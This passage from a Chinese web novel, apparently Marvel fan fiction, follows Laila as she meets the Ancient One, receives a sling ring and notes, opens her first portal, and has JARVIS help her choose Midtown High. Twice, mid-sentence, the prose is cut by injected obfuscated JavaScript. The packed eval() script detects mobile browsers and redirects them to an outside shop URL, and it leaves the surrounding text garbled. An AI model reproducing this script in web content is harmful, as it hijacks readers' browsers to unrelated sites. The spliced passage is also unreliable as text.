但让莱拉真正确定的就是这栋建筑的风格。周围的楼房里没有一栋长这样的。 布利克街177A号,就是这里。 “哈皮,靠边停。”莱拉说道。 哈皮把车停在路边,转过头看她:“怎么了,莱拉?” “那栋楼。”莱拉指了指那栋维多利亚风格的建筑,“布利克街177A号。” 哈皮顺着她手指的方向看过去,皱了皱眉。他的目光在那片区域扫了好几遍,然后摇了摇头:“那里什么都没有。” 莱拉愣了一下,转头看向伊森。 伊森也摇了摇头,表情有些困惑:“莱拉,那里只有一堵墙。两栋楼之间的墙。” 莱拉看着那栋建筑,又看了看哈皮和伊森的表情。他们不是在开玩笑,也不是在敷衍她——他们是真的看不到。 她忽然明白了什么。 “你们在这里等我。”莱拉说着,推开车门,从车里钻了出去。 “莱拉——”哈皮的声音从身后传来,带着一丝紧张。 “没事的。”莱拉回过头,朝他笑了一下,“别担心,我会在半小时之内回来的。” “如果有什么事的话,我也会给你打电话的。” 哈皮张了张嘴,想说什么,但却只能看到莱拉飞速离开的背影。 莱拉摆了摆手,转身朝那栋建筑走去。 她穿过人行道,穿过那些行人的目光——没有人注意到她,也没有人注意到那栋建筑。那些行人从那栋楼前走过,目光自然而然地滑了过去,像是有什么力量在让他们“忽略”这个地方。 莱拉在那扇深色的木门前停下来。 门是黑色的,厚重,朴素,上面没有门牌号,没有任何标识。门把手是黄铜的,被岁月磨得发亮,像是什么人无数次地握住它、推开它、走进它。 莱拉伸出手,准备敲门。 莱拉站在那扇深色的木门前。门是黑色的,厚重,朴素,上面没有门牌号,没有任何标识。门把手是黄铜的,被岁月磨得发亮。她回头看了一眼停在路边的轿车,看到哈皮正皱着眉头盯着她的方向。她朝他们挥了挥手,然后转回去,准备敲门。 门开了。 不是被风吹开的,不是自己松开的,是从里面被人打开的。门向内无声地滑开,露出门后一个光线柔和的空间。 一个黑人站在门里。 他穿着一件深色的长袍,款式简单,面料看起来很柔软,在领口处有一些莱拉看不懂的几何图案。他的头是光的,没有头发,头顶的曲线在从门内透出的暖黄色灯光下显得很柔和。 他看着莱拉,没有笑,也没有任何多余的表情。 “你好,客人。”他说,声音不大,但很清晰,“至尊法师正在等你。” 莱拉站在门口,仰头看着这个高大的黑人法师,心跳加快了半拍。不是因为害怕,而是因为兴奋,因为自己想要找的东西,真实的出现在自己面前的兴奋。 “至尊法师知道我会来?”她问。 黑人法师没有回答这个问题。他只是微微侧了侧身,让出了进门的空间,做了一个“请进”的手势。 莱拉朝门内迈了一步。莱拉跨过门槛的那一刻,身后的街道就消失了。不是那种渐行渐远的消失,而是在门关上的瞬间被干净利落地切断——汽车引擎声、行人脚步声、远处警笛的呜咽,全部在同一秒钟归于寂静,像一首正在播放的曲子被人按下了暂停键。 她站在一个完全陌生的空间里。门厅不大,地面是深色的石砖,被无数脚步磨得光滑发亮。墙壁是浅色的,上面挂着一些她看不懂的挂毯和画作。空气中有一股淡淡的香味,像是檀香,又像是某种她从未闻到过的草本植物的气味。 黑人法师走在她前面,步伐不快不慢。他没有回头看她,也没有说话。莱拉跟在他身后,穿过一条走廊,走廊两侧是几扇紧闭的门,门上没有标牌,看不出里面是什么。走廊的尽头是一个更大的空间——一个圆形的厅堂,穹顶很高,上面画着一些复杂的图案,像是某种星图,又像是某种她完全无法理解的几何图形。光线从穹顶四周高处的窗户透进来,柔和而均匀,像是经过了某种精心的设计,让整个空间没有一处是完全阴暗的。 厅堂的中央站着一个人。 她背对着莱拉,穿着一件浅色的长袍,袍子的面料在光线下有一种流动的质感,像是水面上的光。她的身量不高,但站在那个空旷的厅堂中央,脊背挺直,像一棵从地面长出来的树,稳稳地扎在那里。 黑人法师在古一身后停下来,微微低头,恭敬的说道:“至尊法师,客人到了。” 古一没有转身。她只是微微侧了侧头,那个角度刚好让莱拉看到了她的侧脸。她的五官不算惊艳,但组合在一起有一种沉静的、让人安心的美。她的眼睛——即便只是侧脸——很深,像是含着整个宇宙的光。 “莫度。”古一说,声音不大,但很清晰,“你先出去。” 黑人法师——莫度——点了点头,没有看莱拉一眼,转身走出了厅堂。他的脚步很轻,轻到几乎听不见。门在他身后无声地关上了。 厅堂里只剩下莱拉和古一两个人。 古一转了过来。 她的脸比莱拉想象中的要年轻——不是年轻,而是那种超越了年龄的、不属于时间的、让人无法判断岁数的样子。她的眼睛看着莱拉,不是审视,不是打量,不是好奇,而是一种更安静的、更透彻的——像是已经把莱拉看完了,不需要再看第二遍的眼神。 她看着莱拉,嘴角微微弯了一下。那个弧度不大,但让她的整张脸都柔和了下来。 “你来了。”她说,“我等你很久了。” 莱拉站在厅堂中央,仰头看着这个既熟悉,又陌生的女人。 “你知道我会来。”莱拉说,“你看过我的未来了吗?” 古一看着她,那双深色的眼睛里有一种莱拉说不清的东西。 “我只知道你会来。”她说,“其他的——我不知道。” 莱拉愣了一下。“不知道?” “你的命运不在我观测的未来中。”古一的语气很平静,“我看到了你来到这扇门前的画面,所以我在这里等你。但你为什么要来,你接下来会做什么,你会成为一个什么样的人——我看不到。” 莱拉沉默了。她的手指无意识地摸了一下左手手背上的烫伤疤痕。那些关于穿越、关于她不属于这个世界的秘密,忽然有了一种新的重量——不是因为它们被发现了,而是因为它们没有被发现的方式本身就说明了什么。 古一没有追问她的沉默。她只是站在那里,等着。 莱拉抬起头,看着古一的眼睛。“我是来学习魔法的。” 古一微微偏了一下头,示意她说下去。 “我曾在机缘巧合之下见过未来的景象。”莱拉说着,脑海中回忆起托尼.斯塔克最后的结局,“老实说那不是个让人愉快的未来,我想要改变这个,我需要力量。我在那些画面中见过你,法师,我认为,你所拥有的力量,能够帮助到我,所以我想要向你学习魔法。” 古一看着她,沉默了几秒。然后她开口了,语气依然平静,但声音里多了一股郑重。 “你知道我用的是什么魔法吗?”古一问。 “不知道。”莱拉说,“但我知道它能做什么。” 古一微微点了点头,像是在确认一个她已经知道的答案。然后她说了一句让莱拉没有预料到的话。 “卡玛泰姬的魔法,本质上是借贷。” 莱拉的眉毛微微动了一下。借贷。 “我们从其他维度借取能量。”古一说,“每一次施法,每一次使用魔法,都是在借用不属于你的力量。借了就要还。利息从你的身上扣除——可能是身体的伤害,可能是精神的损耗,可能是你的时间、你的记忆、你的生命本身。” 她看着莱拉,那双深色的眼睛里有了一种更沉的重量。“你借得越多,欠得越多。你用得越频繁,利息涨得越快。如果你不能及时还上——你会被吞噬。不是死亡,是被吞噬。你的身体、你的灵魂、你存在过的每一个痕迹,都会被那个维度吸收,变成它的一部分。” 莱拉听着,表情没有什么变化,但她的眼睛很亮。 “这些代价听起来是□□和精神上的伤害?”她问。 古一点了点头。“大多数情况下是的。” 莱拉听着,嘴角下意识地弯了一下。 她的能力就是靠伤害来获取能量的。不管是别人伤害她,还是她伤害别人,不管是身体上的伤害,还是精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625855|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神上的伤害——只要有伤害,她就能变强。如果魔法的代价是伤害……那她不是一边借一边还,还能一边赚? 古一看着她嘴角那个微小的弧度,眼睛微微眯了一下。 “你不怕?”古一问。 “怕什么?”莱拉反问。 “代价。” “代价这种东西。”莱拉说,“我已经付过很多次了。” 古一看着她,沉默了很久。厅堂里安静得能听见穹顶高处窗外风吹过屋檐的声音。那种安静不是压迫性的,而是一种更温和的、像是被什么东西包裹住的安静。 “你想学魔法。”古一说,不是疑问,是陈述。 “我想学。”莱拉说。 古一转过身,走到厅堂一侧的一个石台上。石台上放着几样东西——一本看起来很旧的书、一个铜制的容器、几根蜡烛,还有一枚莱拉不认识的金属戒指。古一拿起那枚戒指,回到莱拉面前,把戒指递给她。 “悬戒。”古一说,“学习传送魔法需要的法器。” 莱拉接过那枚戒指,放在手心里。金属很轻,颜色偏暗,表面有一些细微的纹路,摸起来有一种粗糙的、像是被火烧过的质感。戒指的内侧刻着一些她看不懂的文字,不是英文,不是阿拉伯文,而是某种更古老的、她从未见过的符号。 “传送魔法是所有魔法的基础。”古一说,“学会它,你才能来到卡玛泰姬,才能学习更深层的东西。学不会——你就永远只能在门外徘徊。” 她又从长袍的口袋里掏出一本笔记。那本笔记不大,封皮是深棕色的皮革,边缘被磨损得发白,像是被翻阅过无数次。她把笔记递给莱拉。 “这是我年轻时的笔记。”古一说,“里面记录了一些基础魔法的理论和练习方法。比那些图书馆里的书更容易理解。” 莱拉双手接过笔记。皮革的封面摸起来很软,有一股旧书特有的味道——纸张、墨水、时间混合在一起的味道。她翻开第一页,看到的是手写的英文,字迹不算工整,但每一个字母都写得很认真。 “悬戒的握法”“维度的概念”“能量的感知”“第一次打开传送门”——目录上的每一条都用下划线标了出来,像是一个强迫症患者的笔记。 莱拉把笔记合上,和悬戒一起小心地放进皮夹克的内袋里。拉链拉上的声音在安静的厅堂里格外清脆。 “学会了传送魔法,我就可以来找你?”莱拉问。 古一看着她,嘴角那个弧度又出现了。“学会了,你就可以来找我。” “那如果我学不会呢?” 古一没有回答。她不需要回答——答案莱拉自己知道。学不会,就永远只能是一个在门外徘徊的人,看着门内的世界,却进不去。 莱拉把皮夹克的拉链拉好,拍了拍胸口的口袋,确认笔记和悬戒都在里面。然后她抬起头,看着古一。 “我会学会的。”她说。 古一看着她,那双深色的眼睛里有一种莱拉说不清的东西。 “我知道。”古一说。 莱拉笑了一下,那个笑容不大,但很真。她转过身,朝门口走去。走到门口的时候她停下来,回过头看了古一一眼。古一还站在厅堂中央,阳光从穹顶高处的窗户照进来,落在她的身上,让她的浅色长袍在光线下微微发光。她的表情很平静,平静得像一面湖。 莱拉想说什么,但最终没有说。她只是朝古一点了点头,然后推开门,走出了圣所。 门在她身后关上的那一刻,街道的声音重新涌了回来——汽车引擎、行人脚步声、远处的警笛。那些声音在那扇门关上的瞬间被切断,又在门打开的那一刻同时涌回来,像一条被拦住的河流突然决堤。 莱拉站在布利克街的人行道上,深吸了一口气。阳光从高楼之间的缝隙里漏下来,落在她的皮夹克上,把那深棕色的皮革照得发亮。她把手伸进皮夹克的内袋,摸了摸那本笔记和那枚悬戒,确认它们还在。 然后她穿过人行道,朝停在路边的黑色轿车走去。 圣所的门厅里,莫度从阴影中走了出来。他的步伐依然不紧不慢,表情依然平静得像一潭死水,但他的眼睛里有一种东西——不是质疑,不是不满,而是一种更深层的、更沉的困惑。 “至尊法师。”他站在古一身旁,声音很低,“她不是一个合适的学徒。” 古一没有看他,目光还在莱拉消失的方向。“为什么这么说?” “她对魔法没有敬畏之心。”莫度的语气依然平静,但他用词的方式透露出了他的态度——不是“缺乏敬畏”,而是“没有敬畏”。他看莱拉收下悬戒和笔记时的表情、她说话的方式、她嘴角那个微小的弧度,每一处都显得漫不经心,像是一个游客在纪念品商店里随手拿了一件东西。 古一转过头看着他。 “敬畏是需要的。”她说,“但不是唯一需要的。” 莫度没有说话。 古一的目光从莫度脸上移开,落在厅堂中央那扇紧闭的门上。 “莫度。”她开口了,声音比平时低了一些,“你知道我为什么收她吗?” “请至尊法师明示。” 古一沉默了一瞬,像是在组织语言,又像是在确认自己的想法。 “我看不到她的命运。”她说。 莫度的眉毛动了一下。 “我看不到。”古一重复了一遍,语气里没有挫败,只有一种平静的陈述,“她的未来不在时间宝石的视野里,所有被她参与的时间线都变得一片模糊。” 她转过身,看着莫度。 “一个超脱命运、超脱常理的人。这样的人,如果没有人教导,会成为最大的变数。可能带来救赎,也可能带来毁灭。”她顿了一下,“所以我需要让她接受我的教导,只有这样,我才能确定她不会走上最糟糕的那条路。” 莫度看着她,沉默了几秒。然后他微微低下头。“我明白了,至尊法师。” 古一收回目光,看着那扇紧闭的门。阳光从穹顶高处的窗户照进来,在她的脚边投下一片模糊的光影。 “莫度。”古一开口了。 “在。” “留意她。但不要干涉。让她自己找到来卡玛泰姬的路。” 莫度点了点头,退回了厅堂的阴影里。 古一站在原地,看着那扇门。她的表情平静如初,但她的眼睛里多了一些期待,那是在命运的指引下,努力了上千年,终于有了一次真正反抗命运的机会的期待。 15.第十五章 莱拉回到车上的时候,哈皮正盯着手机屏幕上的导航发愣。他抬起头,看着莱拉拉开车门坐进来,眉头皱得像一团揉皱的纸。 “你刚才去哪儿了?”他问,“我明明看着你走到那堵墙前面,然后你就不见了。不是走进去了,是不见了。从我的视野里直接消失了。” 伊森也看着她,目光里没有困惑,更多的是一种安静的等待。他见过太多无法解释的事情,在阿富汗的山洞里,在托尼胸口那个发蓝光的反应堆上。这个世界比他以前以为的要大得多,所以他不急着下结论。 莱拉系好安全带,靠进座椅里,想了一下该从哪儿说起。 “哈皮,你相信魔法吗?” 哈皮的眉毛挑了起来。“魔法?像哈利·波特那样的?” 莱拉愣了一下。她本来准备了一大段关于维度、能量、借贷的解释,但哈皮的这个问题让她忽然意识到——在这个世界里,哈利·波特也是存在的。她在上一世看过那些电影,知道里面的咒语、魔法生物、会自己洗碗的魔法。但现在的莱拉不应该知道这些。一个在阿富汗山洞里长大的孩子,没有看过《哈利·波特》。 “我不知道你说的哈利·波特里的魔法是什么样的。”她摇了摇头,语气很认真,“但大概率不太一样。” 哈皮的表情从困惑变成了恍然。“所以刚才我们看不到你说的那栋楼——因为我和伊森是麻瓜?” 莱拉没有接这个话,而是把手伸进皮夹克的内袋,掏出那本古一的笔记和那枚悬戒,摊在手掌上给哈皮和伊森看。 “这是我未来的魔法老师给我的。”她说,“题目。学会上面的魔法,就可以正式开始学习。” 哈皮盯着那枚暗色的戒指和那本磨旧了的笔记本,嘴巴张开又合上。“你是说——你真的要学魔法?” “是的。”莱拉把笔记和悬戒收好,“今天收获已经够多了。先回去吧。” 哈皮从后视镜里看了伊森一眼。伊森微微耸了耸肩,意思是“别看我,我也是第一次听说”。哈皮没有再多问,发动了车子,驶离了布利克街。 回程的路上,莱拉重新掏出那本笔记,翻开第一页。 她以前读书的时候记性一般,背单词要反复抄写很多遍才能记住。但自从精神力被强化之后,她的记忆力和理解能力像是换了一个人——不,是换了一个脑子。那些英文单词在她的视野里不再是一个一个需要费力辨认的符号,而是一条流畅的、可以直接吸收的信息流。她甚至不需要刻意去背,眼睛扫过去,内容就留在了脑子里。 悬戒的握法。右手的食指和中指穿过戒指,戒指紧贴指根,掌心朝内,手背朝外。集中精神,想象你的目的地——不是想象它的样子,而是想象你在那里的感觉。脚下是那里的地面,空气是那里的温度,耳边是那里的声音。然后用手臂画圆,不是画一个圈,而是画出一个通往那里的拱门。 莱拉一边读一边在脑海里模拟那些动作。她的手指在膝盖上无意识地画着圆圈,哈皮从后视镜里看到了,没有说什么。 车子开到斯塔克大厦门口的时候,莱拉刚好看完了笔记的最后一页。她把笔记合上,塞回内袋,抬起头朝窗外看了一眼。 一辆警车停在大厦门口,红蓝色的灯光在车顶旋转,但没有拉响警笛。两个警察押着一个穿着深灰色西装的光头男人从大厦里走出来。他的双手被铐在身后,脸上的表情不是愤怒,而是一种空白的、被抽空了什么之后剩下的麻木。 奥巴代亚·斯坦。 哈皮一脚踩下刹车,差点从座位上跳起来。“那不是——那不是——” “奥巴代亚。”莱拉替他说完了。 “托尼干的?”哈皮转过头看着莱拉,眼睛瞪得很大。 莱拉没有回答,但她的表情已经说明了一切。哈皮张了张嘴,最终什么也没说,重新发动车子,绕过大厦门口,开进了地下车库。 三个人乘电梯上了顶层。电梯门打开的时候,托尼正站在落地窗前,手里端着一杯咖啡。他换了一身衣服——深灰色的毛衣,黑色的长裤,头发还是湿的,像是刚洗过澡。他的脸上看不出太多情绪,但肩膀的线条比早上松了一些,像是卸掉了什么重物。 “回来了?”他转过身,看着莱拉,“买了什么?” 莱拉从电梯里走出来,哈皮和伊森跟在后面。她没有回答托尼的问题,而是走到沙发前,从内袋里掏出那本笔记和那枚悬戒,放在茶几上。 “我去了一个地方。”她说,“找到了一个魔法老师。” 托尼端着咖啡走过来,低头看着茶几上的那本旧笔记和那枚暗色的戒指。他的眉毛拧在了一起。 “魔法老师。”他重复了一遍,语气不是嘲讽,而是一种“你确定你不是被人骗了”的怀疑。 “我知道你在想什么。”莱拉说,“你觉得我被人骗了。” 托尼没有否认。他放下咖啡杯,拿起那枚悬戒,翻来覆去地看了看。戒指很轻,金属表面有一些细微的纹路,内侧刻着一些他看不懂的文字。他把戒指放回茶几上,看着莱拉。 “你确定?” 莱拉没有回答。她拿起悬戒,套在右手的中指上。戒指的尺寸刚好,紧贴指根,不松不紧。 莱拉闭上眼睛,在脑海里构建画面。不是纽约圣所的门厅,而是古一本人。她见过的那张脸——光头的、面容沉静的女人,穿着黄色的僧袍。她想让传送门直接开在古一面前。 她抬起右手,手心朝内,手背朝外,在空中画了一个圆。 金色的火花从她手指划过的地方迸发出来,连成一个圆形的拱门。拱门内部的空气扭曲、变形,然后变得透明——透明到可以看到另一边的景象。一间不大的静室,木质的地板,墙上挂着一幅水墨山水。角落里点着一支香,青烟笔直地上升。古一坐在一个蒲团上,面前放着一套茶具,手里正拿着茶壶往杯子里倒茶。 她抬起头,看到了凭空出现在自己面前的传送门,以及传送门另一边站着的莱拉和托尼。 古一的眉毛微微动了一下。不是震惊,不是好奇,而是一种轻微的、带着一丝意外的认可。她把茶壶放下,端起茶杯,语气平静得像在说今天天气不错。 “比我想象的要快得多。” 莱拉维持着传送门,感觉到精神力在持续消耗。 “古一法师。”莱拉说,“我以后可以来找你上课了吗?” 古一点了点头,语气依然平静。“你随时可以过来。” 她把茶杯放下,右手在身侧的虚空中轻轻一抽——像是从空气里抽出了一件东西。一本厚重的硬皮书出现在她手中,深色的封皮,边缘镶着铜色的金属包角,书脊厚得像是能砸开核桃。她把书递给莱拉,穿过传送门的动作自然得像是穿过一扇普通的门。 “这是接下来要学习的内容。”古一说,“你可以先预习一下。” 莱拉双手接过那本书。书如同它的外表一般厚重,不过以莱拉现在的身体素质,她甚至可以把这本书挥舞起来当武器。书的封皮上没有书名,只有一些她看不懂的图案,摸起来有一种粗糙的、像是手工鞣制皮革的质感。 托尼站在一旁,咖啡杯还端在手里,全程没有说话。他看着莱拉把传送门关上,金色的火花在空中闪了几下然后消失,才把咖啡杯放在茶几上,在莱拉对面坐下来。 “所以。”他看着莱拉膝盖上那本厚重的大书和手指上的悬戒,“你刚才说的魔法老师,就是那个光头?” “是的。” “她在喝茶。” “她在喝茶。”莱拉点头。 托尼沉默了一下,手指在膝盖上敲了两下。“你打算学?” “当然。”莱拉翻开那本厚书的第一页,密密麻麻的文字和图片让她眼睛亮了起来,“我已经学会了一个。很快就能学会第二个、第三个。” 托尼看着她眼睛里的光,他对这种状态很熟悉,在他第一次接触到机械的时候,他的眼里也有这种光。 “行。”托尼说,“魔法的事我不拦你。但我有个条件。” “什么条件?” “你要正常去学校上课。” 莱拉翻书的手指停了一下。她抬起头看着托尼,嘴唇微微张开,然后合上。她本来想说什么,但她想起了古一给她的那本笔记,想起了自己刚看完一整本书时的那种感觉——不是累,是兴奋。是那种“我能学会”的兴奋。 “好。”她说。 托尼愣了一下。他显然做好了打一场硬仗的准备,但莱拉答应得太快了,快到他准备好的那些理由全部堵在了嗓子眼里。 “你同意了?” “同意了。”莱拉把膝盖上的厚书合上,抱在怀里,从沙发上站起来,“但你要帮我找个学校。” “当然。”托尼看着她,目光里有一种说不清的东西——不是惊讶,不是欣慰,而是一种更安静的、像是什么东西终于定了下来的感觉。 莱拉抱着书朝自己的房间走去,走了两步又停下来,回头看着托尼。 “托尼。” “嗯?” “谢谢你。” 托尼的嘴角弯了一下。“不客气。” 莱拉转过身,走进了走廊。她的脚步很轻,马丁靴踩在地板上几乎没有声音。怀里那本厚重的硬皮书贴着她的胸口,封皮的皮革味和古一静室里的檀香味混在一起,让她的鼻子有点痒。 她推开自己房间的门,把书放在书桌上,然后把悬戒从手指上褪下来,放在书旁边。戒指的金属在台灯下反射着暗色的光,内侧那些看不懂的文字在光线下变得若隐若现。 她坐在书桌前,翻开那本大书的第一页,开始读。 窗外,曼哈顿的夜色正在降临。那些高楼顶端的灯光一盏一盏地亮起来,像有人在天黑之前匆匆忙忙地点燃了整座城市的蜡烛。莱拉的书桌正对着落地窗,台灯的光在书页上投下一小片暖黄色的圆,窗外那片发光的森林在她的余光里铺展开来,但她没有抬头。 古一给她的那本厚书比她想象的要难。不是语言的问题——她的英语已经足够应付阅读了——而是那些概念本身就像是拧在一起的麻绳,需要一根一根地拆开才能理清楚。维度的叠加,能量的借贷,精神力的具象化。每一页都有她看不懂的术语,每一个术语下面都有密密麻麻的注释,注释下面还有更小的字,像是古一把自己几十年的笔记全部塞进了这一本书里。 她读了大约四十分钟,从第一页读到了第二十三页。不是因为她读得慢,而是因为每一页她都要读两遍——第一遍是扫过去,第二遍是停下来想。那些内容在她的脑子里像拼图一样一块一块地拼在一起,有些地方严丝合缝,有些地方还缺着角,但她能感觉到整幅画面的轮廓正在慢慢浮现。 莱拉把书签夹在第二十三页,合上书,靠在椅背上。椅背微微后仰,她的目光从书桌移到了窗外的曼哈顿夜色上。深蓝色的天幕下,那些高楼像一根根发光的柱子,顶端有红色的防撞灯在一闪一闪。她的视线从远处收回来,落在窗玻璃上映出的自己的脸上——短发,深色的眼睛,皮夹克的领子翻起来,下巴比以前圆了一点点。吃饱饭才几天,变化就已经开始了。 她忽然想起一件事,抬起头看着天花板。 “贾维斯。” “在的,莱拉小姐。”贾维斯的声音从天花板的角落传来,依然是那种温和的、不紧不慢的英国口音。 “我需要你帮我查一下纽约的高中。”莱拉说,“所有的。或者最好的几所。我想看看有哪些选择。” 贾维斯没有立刻回答。莱拉能听到一种极细微的嗡鸣声——不是噪音,更像是一种“正在处理请求”的提示音。天花板上的一个隐形面板亮了起来,淡蓝色的光从面板的缝隙中渗出来,然后整个房间的灯光自动调暗了一些。 “莱拉小姐,为了更直观地展示信息,我将使用全息投影。请看向您前方的空间。” 莱拉的书桌前方,距离她大约一米的地方,空气开始发光。不是那种刺眼的光芒,而是像一层极薄的、会发光的纱幔从天花板上垂下来,在半空中凝聚成一个城市的轮廓——纽约。曼哈顿的地图,那些街道和街区被细密的蓝线勾勒出来,每一个像素都在缓缓流动。 贾维斯的声音伴随着投影一起出现了。 “纽约市共有四百二十一所公立高中,以及一百一十二所私立高中。根据学术水平、师资力量、大学录取率以及课外活动丰富度等综合指标,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628512|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为您筛选出了十二所学校。其中六所位于曼哈顿,三所位于布鲁克林,两所位于皇后区,一所位于布朗克斯。” 地图上的蓝线开始收缩,十二个光点在不同的位置亮起来,颜色从浅蓝变成了深蓝。莱拉的目光随着那些光点移动,发现它们并不是随机分布的——大部分集中在曼哈顿的中上城区域,离斯塔克大厦都不算太远。 “逐一展示。”莱拉说。 第一个光点放大了。一个学校的全景图像出现在莱拉面前,像是有人把一张高清照片揉碎了又重新拼成了一个立体的模型。红砖建筑,修剪整齐的草坪,一个标准尺寸的足球场,旗杆上飘着美国的星条旗和一面她没见过的校旗。图像的上方浮现出一行文字。 “三一学校。私立,位于曼哈顿上西区。成立于一七零九年,是纽约市最古老的学校之一。师生比一比七,大学录取率百分之九十八。优势学科:文学、历史、艺术。学费每年约五万美元。” 莱拉看着那行字,嘴角动了一下:“我对文学艺术什么的不感兴趣,下一个。” 第二个光点放大了。建筑风格和第一所完全不同——玻璃幕墙,流线型的外观,看起来更像一个科技公司的总部而不是学校。停车场里停着几辆特斯拉。 “河谷乡村学校。私立,位于布朗克斯。成立于一九零七年。师生比一比八,大学录取率百分之九十七。优势学科:数学、计算机科学、经济学。拥有独立的机器人实验室和金融交易模拟中心。” “听起来像培养小富豪的地方。”莱拉说,“下一个。” 贾维斯没有发表评论,继续展示。第三所,第四所,第五所。每一所都有它的特点——有的以艺术教育闻名,有的以体育项目见长,有的历史悠久到校舍本身就是历史保护建筑,有的新潮到把虚拟现实设备当成了标配教具。莱拉看着那些全息图像在面前一个接一个地展开,像是在翻阅一本立体的、会动的大书。 “第十一所。”贾维斯说。 一个全新的投影出现了。一栋红砖和石灰石混筑的建筑,没有那么古老,也没有那么新潮。教学楼不高,但占地面积很大,楼顶上有一排银白色的圆顶——莱拉看了两秒才反应过来,那应该是天文台的观测圆顶。校门口有一面很大的旗帜,上面写着校名:Midtown School of Science and Technology。 莱拉的目光在那行字上停了一下。 中城科技高中。 她在上一世看过的电影里见过这个名字。 在漫威新的电影宇宙启动之前,蜘蛛侠作为一个大热IP,出过不止一个版本的系列电影,所以莱拉清楚的记得,蜘蛛侠,也就是彼得.帕克,就在中城高中读书。 “中城科技高中。”贾维斯的声音继续,“公立高中,位于皇后区。成立于一九六二年。优势学科:科学、技术、工程、数学。拥有纽约市公立高中系统中规模最大的STEM项目,与多家科技公司和研究机构有合作关系。大学录取率百分之九十一,其中常春藤联盟院校录取率百分之十二。” 投影放大了学校的内部空间——实验室里穿着白大褂的学生在做实验,走廊里贴着各种科学竞赛的获奖名单,一个很大的机器人工作坊里堆满了零件和半成品。 莱拉靠在椅背上,看着那所学校的全息图像在自己面前缓缓旋转。 她对这个名字有点映象,如果没记错的话,蜘蛛侠好像就是在这所学校读书来着。 “就这所吧。”莱拉说。 贾维斯把其他光点收了起来,只留下中城科技高中的投影悬浮在房间中央。“莱拉小姐,您确定选择中城科技高中吗?” “确定。”莱拉说,“离这里远吗?” “从斯塔克大厦到中城科技高中,驾车约二十五分钟,地铁约四十分钟。”贾维斯顿了一下,“托尼先生的司机可以每日接送您,单程时间可控制在二十分钟以内。” 莱拉点了点头。“那就它了。什么时候可以办入学?” “您的收养手续预计在一至两周内完成。完成后,您的法定监护人将变更为托尼·斯塔克先生,居住地变更为纽约市曼哈顿。届时,我将第一时间为您办理中城科技高中的入学手续。” 贾维斯的声音依然温和,但莱拉注意到他说“第一时间”这个词的时候,语调比平时微微上扬了一点——如果人工智能可以有语调的话。 “需要我做什么吗?”莱拉问。 “您需要完成中城科技高中的入学测试。包括英语、数学和科学三门科目。测试结果将决定您的年级和课程安排。测试时间可在入学手续办理后预约。” 莱拉靠在椅背上,手指在书桌上无意识地敲了两下。她现在的学习能力很强,但一两个星期的时间,她也不知道究竟能做到什么地步。 “先教我一些需要的知识吧。”莱拉说道,“贾维斯,你应该可以做到吧。” “是的,已为安装了相关的学习资料和模拟测试题库,您可以随时开始学习。” 淡蓝色的虚拟影像在她的面前展开——每一门科目都有入门测试、知识点讲解、练习题和模拟考试,像是一个完整的不需要老师也能自学的课程体系。 “贾维斯。”莱拉说。 “我在。” “你真的很厉害。” 贾维斯沉默了一秒。“谢谢您,莱拉小姐。这只是我功能中极小的一部分。” 莱拉把手机放回抽屉,重新翻开古一给她的那本厚书。书签还夹在第二十三页,那些关于维度重叠和精神力投射的文字在她的视线里重新排列组合,变成了更清晰的图案。 窗外的曼哈顿夜色更深了。那些高楼顶端的灯光像是被谁调亮了一些,在深蓝色的天幕上印出一片发光的星群。莱拉翻开第二十四页,台灯的光落在书页上,照亮了一行她之前没有注意到的脚注——“精神力越强,借贷的额度越高。但利息也会随之增长。切记,不要借超过你能偿还的量。” 她的嘴角弯了一下。 借了要还。利息从身上扣。 但她的能力,会把那些“利息”转化成力量。 这个世界上不会有比她更适合学魔法的人了。 16.第十六章 接下来是一段愉快的学习时间。 是的,愉快。 上辈子的莱拉可从来没觉得学习是件愉快的事情过。但在精神力被强化,记忆力和理解能力都大幅提高后,学习真的变成了一件非常愉快的事情。 这种只要用心学习,就能学会新知识的感觉实在是让人着迷。 得益于她的学习能力,没过多久,莱拉就顺利的通过了贾维斯的模拟考。毕竟上辈子好歹也有大学毕业水平的知识,现在大部分知识只需要从记忆里捡起来就好了。 另一方面,魔法的学习也同样顺利。大部分时间,莱拉都抱着本厚重的魔法书自学,而在过了两天后,她索性直接用念动力让魔法书飘在面前,学习的同时也锻炼了自己的念动力,一举两得。 从开始学习魔法后,莱拉就再也没有掩饰过自己的特殊之处,托尼和佩珀还有哈皮时不时的就会在斯塔克大厦托尼的私人空间里看到莱拉身边漂浮着各种各样的东西,又或者是看到一个金色带火花的传送门突然出现,莱拉从里面走出来的场景。 至于伊森,他现在正在实地考察纽约各个医院的真实情况,很少能在斯塔克大厦里看到他。 在魔法及其代价的滋养下,再加上有魔法作为借口,莱拉不再掩饰自己身体强化后的变化,原本过于瘦弱的身形,以肉眼可见的速度变得正常起来,甚至在短短几天的时间里,就长高了一些。 发现了这一点的托尼:“魔法还有让人长高的效果?”沉浸于科学的世界中对魔法不感兴趣的托尼开始考虑要不要跟着莱拉一起学习下魔法了。 “托尼,我长高了是因为我还在发育期。”手上勾勒着魔法阵的莱拉笑着回应道,“不过,如果你真的需要的话,我会在魔法里找一找有没有帮助已经停止发育了的大人长高的魔法的。” “那就不用麻烦了,甜心。”托尼果断放弃了魔法的学习,继续全身心的投入了战甲的升级改造中。 